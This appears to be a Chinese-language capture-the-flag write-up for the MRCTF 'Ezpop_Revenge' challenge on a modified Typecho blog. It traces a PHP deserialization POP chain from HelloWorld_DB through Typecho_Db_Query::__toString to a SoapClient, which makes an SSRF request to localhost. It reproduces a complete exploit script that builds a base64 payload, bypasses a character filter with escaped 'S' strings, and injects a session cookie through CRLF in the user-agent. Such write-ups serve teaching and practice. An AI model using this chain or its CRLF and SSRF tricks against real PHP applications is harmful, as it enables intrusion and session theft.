打开题目,源码泄露,在www.zip.

代码非常多,主要用到的代码如下:

反序列化的点在/usr/helloworld/plugin.php:

<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;
/**
 * Hello World
 * 
 * @package HelloWorld 
 * @author qining
 * @version 1.0.0
 * @link http://typecho.org
 */
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}

    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }
}

若设置了$_REQUEST,则会输出session,而flag存在session中.

flag.php,其中的REMOTE_ADDR说明需要用到ssrf:

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

HelloWorld_DB中的__wakeup()魔术方法中实例化了Typecho_Db对象,Typecho_Db的__construct()魔术方法:

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

这段代码里提示了__toString(),于是跟进Typecho_Db_Query中的__toString():

public function __toString()
{
    switch ($this->_sqlPreBuild['action']) {
        case Typecho_Db::SELECT:
            return $this->_adapter->parseSelect($this->_sqlPreBuild);
        case Typecho_Db::INSERT:
            return 'INSERT INTO '
            . $this->_sqlPreBuild['table']
            . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
            . ' VALUES '
            . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
            . $this->_sqlPreBuild['limit'];
        case Typecho_Db::DELETE:
            return 'DELETE FROM '
            . $this->_sqlPreBuild['table']
            . $this->_sqlPreBuild['where'];
        case Typecho_Db::UPDATE:
            $columns = array();
            if (isset($this->_sqlPreBuild['rows'])) {
                foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                    $columns[] = "$key = $val";
                }
            }

            return 'UPDATE '
            . $this->_sqlPreBuild['table']
            . ' SET ' . implode(' , ', $columns)
            . $this->_sqlPreBuild['where'];
        default:
            return NULL;
    }
}

本题与ssrf有关,而SoapClient中的__call方法正是实现ssrf的关键.详细->反序列化之PHP原生类的利用

接下来捋一下pop链:

反序列化HelloWorld_DB触发__wakeup(),实例化Typecho_Db对象,调用Typecho_Db的__construct()方法,HelloWorld_DB的coincidence[‘hello’]为Typecho_Db的__construct()方法的第一个参数,即$adapterName.php数组可以储存对象,令coincidence[‘hello’]实例化为Typecho_Db_Query对象,而在Typecho_Db的__construct()方法中对$adapterName进行了字符串拼接,如此一来,就触发了Typecho_Db_Query中的__toString()方法.__toString()中,当_sqlPreBuild[‘action’]为SELECT时,会调用_adapter的parseSelect()方法,若将_adapter实例化为SoapClient,那么在调用parseSelect()方法时,由于这个方法不存在于SoapClient中于是就会调用__call()魔术方法,如此一来,我们就能实现ssrf.

另外,这题还过滤了百分号:

public function action(){
    if(!isset($_SESSION)) session_start();
    if(isset($_REQUEST['admin'])) var_dump($_SESSION);
    if (isset($_POST['C0incid3nc3'])) {
  if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
    unserialize(base64_decode($_POST['C0incid3nc3']));
  else {
    echo "Not that easy.";
  }
    }
}

所以还要进行额外的处理:

在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:”<length>”:”<value>”;
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。(1)

所以在我们的payload中,string类型的小写的’s’要换成大写的’S’,’%00’要换成’\00′.由于unserialize(base64_decode($_POST['C0incid3nc3'])),所以我们的payload还要进行base64编码.

Y1ing师傅的脚本:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'Cookie: PHPSESSID=v3rku7bafmj5njs934ppefrq30',
        );
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'xxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }


}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a = serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

由于要把SESSION带出来,所以要把自己的PHPSESSID传过去,而SOAP无法设置cookie,所以还要用到CRLF.每日漏洞 | CRLF注入.SoapClient可以设置UA,在UA后加上\r\nCookie:PHPSESSID=xxxxx,就能添加上新的cookie字段,带上session了.

此脚本运行还需要在php.ini中进行设置,将;extension=php_soap.dll前面的分号给去掉.

根据如下代码:

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

可以知道,要访问/page_admin路由再post提交payload.

访问/page_admin路由后,带上admin参数,最后post提交payload,即可获得flag.

(1)MRCTF Ezpop_Revenge小记

Categories:

Tags:

3 Responses

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号